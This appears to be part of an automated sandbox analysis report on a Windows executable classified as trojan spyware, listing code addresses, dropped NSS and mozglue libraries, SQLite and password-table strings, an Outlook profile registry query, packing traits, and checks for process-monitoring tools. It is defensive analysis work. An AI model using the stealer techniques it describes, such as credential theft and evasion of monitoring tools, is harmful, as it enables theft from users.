Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A8C035	0_2_00A8C035
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B29011	0_2_00B29011
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0093B84C	0_2_0093B84C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A99986	0_2_00A99986
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097992C	0_2_0097992C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A013F8	0_2_00A013F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A9630D	0_2_00A9630D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097C36C	0_2_0097C36C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A134EF	0_2_00A134EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A9B456	0_2_00A9B456
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009D96E3	0_2_009D96E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A92E01	0_2_00A92E01
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A97E6A	0_2_00A97E6A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A6DE53	0_2_00A6DE53
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6535A0	0_2_6C6535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665440	0_2_6C665440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C545C	0_2_6C6C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C542B	0_2_6C6C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CAC00	0_2_6C6CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695C10	0_2_6C695C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2C10	0_2_6C6A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D4E0	0_2_6C65D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696CF0	0_2_6C696CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6664C0	0_2_6C6664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D4D0	0_2_6C67D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B34A0	0_2_6C6B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC4A0	0_2_6C6BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FD00	0_2_6C66FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED10	0_2_6C67ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680512	0_2_6C680512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B85F0	0_2_6C6B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690DD0	0_2_6C690DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6E63	0_2_6C6C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C670	0_2_6C65C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2E4E	0_2_6C6A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674640	0_2_6C674640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E50	0_2_6C679E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693E50	0_2_6C693E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9E30	0_2_6C6B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5600	0_2_6C6A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697E10	0_2_6C697E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C76E3	0_2_6C6C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BEF0	0_2_6C65BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FEF0	0_2_6C66FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4EA0	0_2_6C6B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BE680	0_2_6C6BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675E90	0_2_6C675E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669F00	0_2_6C669F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697710	0_2_6C697710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65DFE0	0_2_6C65DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686FF0	0_2_6C686FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A77A0	0_2_6C6A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69F070	0_2_6C69F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678850	0_2_6C678850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D850	0_2_6C67D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69B820	0_2_6C69B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A4820	0_2_6C6A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C667810	0_2_6C667810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C0E0	0_2_6C67C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6958E0	0_2_6C6958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C50C7	0_2_6C6C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6860A0	0_2_6C6860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D960	0_2_6C66D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB970	0_2_6C6AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CB170	0_2_6C6CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A940	0_2_6C67A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C9A0	0_2_6C65C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68D9B0	0_2_6C68D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695190	0_2_6C695190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2990	0_2_6C6B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699A60	0_2_6C699A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671AF0	0_2_6C671AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69E2F0	0_2_6C69E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698AC0	0_2_6C698AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6522A0	0_2_6C6522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684AA0	0_2_6C684AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66CAB0	0_2_6C66CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C2AB0	0_2_6C6C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CBA90	0_2_6C6CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66C370	0_2_6C66C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655340	0_2_6C655340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D320	0_2_6C69D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C53C8	0_2_6C6C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F380	0_2_6C65F380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 006C45C0 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C68CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6994D0 appears 90 times

Source: file.exe, 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2402128496.000000006C8D5000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: uolrxmar ZLIB complexity 0.9948609923408686

Source: file.exe, 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2101514591.0000000005090000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C6B7030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006D9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_006D9600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006D3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_006D3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\426QGMCX.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2402033112.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2401590362.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390794753.000000001D91E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2402033112.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2401590362.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390794753.000000001D91E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2402033112.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2401590362.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390794753.000000001D91E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2402033112.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2401590362.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390794753.000000001D91E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2402033112.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2401590362.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390794753.000000001D91E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2402033112.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2401590362.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390794753.000000001D91E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2401590362.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390794753.000000001D91E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2231206247.000000001D80B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2211759047.000000001D818000.00000004.00000020.00020000.00000000.sdmp, IECGIEBAEBFIIECBGCBG.0.dr, AFBAKKFCBFHIIEBGIDBG.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2401590362.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390794753.000000001D91E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2401590362.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390794753.000000001D91E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	Virustotal: Detection: 57%
Source: file.exe	ReversingLabs: Detection: 50%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1877504 > 1048576

Source: file.exe

Static PE information: Raw size of uolrxmar is bigger than: 0x100000 < 0x1a4400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2402033112.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2402033112.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.6c0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uolrxmar:EW;whwdztvn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uolrxmar:EW;whwdztvn:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006D9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_006D9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d4767 should be: 0x1d9469

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: uolrxmar
Source: file.exe	Static PE information: section name: whwdztvn
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B170BD push edi; mov dword ptr [esp], eax	0_2_00B170C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B170BD push 72A86A4Ah; mov dword ptr [esp], ecx	0_2_00B17143
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B420A0 push ebx; mov dword ptr [esp], ebp	0_2_00B42166
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098988E push ecx; mov dword ptr [esp], 43A869E6h	0_2_0098991D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098988E push edx; mov dword ptr [esp], ecx	0_2_00989984
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098988E push ebx; mov dword ptr [esp], esi	0_2_009899A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098988E push esi; mov dword ptr [esp], 00000067h	0_2_009899A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098988E push ebx; mov dword ptr [esp], edi	0_2_009899D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098988E push 7F434B20h; mov dword ptr [esp], eax	0_2_00989A4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B69895 push esi; mov dword ptr [esp], 6AB41940h	0_2_00B698A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B75887 push edi; mov dword ptr [esp], edx	0_2_00B758E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A920EC push 09144C71h; mov dword ptr [esp], edx	0_2_00A9212A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A920EC push 777C40C3h; mov dword ptr [esp], ebp	0_2_00A9215A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A920EC push ecx; mov dword ptr [esp], ebx	0_2_00A921B3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A920EC push 70FCEF22h; mov dword ptr [esp], esp	0_2_00A92211
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A920EC push eax; mov dword ptr [esp], edi	0_2_00A92229
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A920EC push esi; mov dword ptr [esp], 4E6B8B00h	0_2_00A9226F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A920EC push eax; mov dword ptr [esp], ebp	0_2_00A922D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A920EC push ecx; mov dword ptr [esp], esi	0_2_00A92314
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A920EC push 53B0B111h; mov dword ptr [esp], esi	0_2_00A9232E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A920EC push 2571B260h; mov dword ptr [esp], ecx	0_2_00A923A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A920EC push 1238B300h; mov dword ptr [esp], eax	0_2_00A923BF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A920EC push ebp; mov dword ptr [esp], edx	0_2_00A924B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A920EC push ecx; mov dword ptr [esp], edx	0_2_00A924DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A920EC push esi; mov dword ptr [esp], 3BC45DC0h	0_2_00A92556
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A920EC push 4A956B41h; mov dword ptr [esp], edi	0_2_00A92588
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A920EC push 5674D72Fh; mov dword ptr [esp], ebp	0_2_00A92613
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A920EC push 205C3777h; mov dword ptr [esp], esi	0_2_00A92629
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A920EC push edi; mov dword ptr [esp], ebp	0_2_00A92640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB80ED push eax; mov dword ptr [esp], ebx	0_2_00AB8108
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB80ED push edx; mov dword ptr [esp], ebp	0_2_00AB8135

Source: file.exe

Static PE information: section name: uolrxmar entropy: 7.953449790469483

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
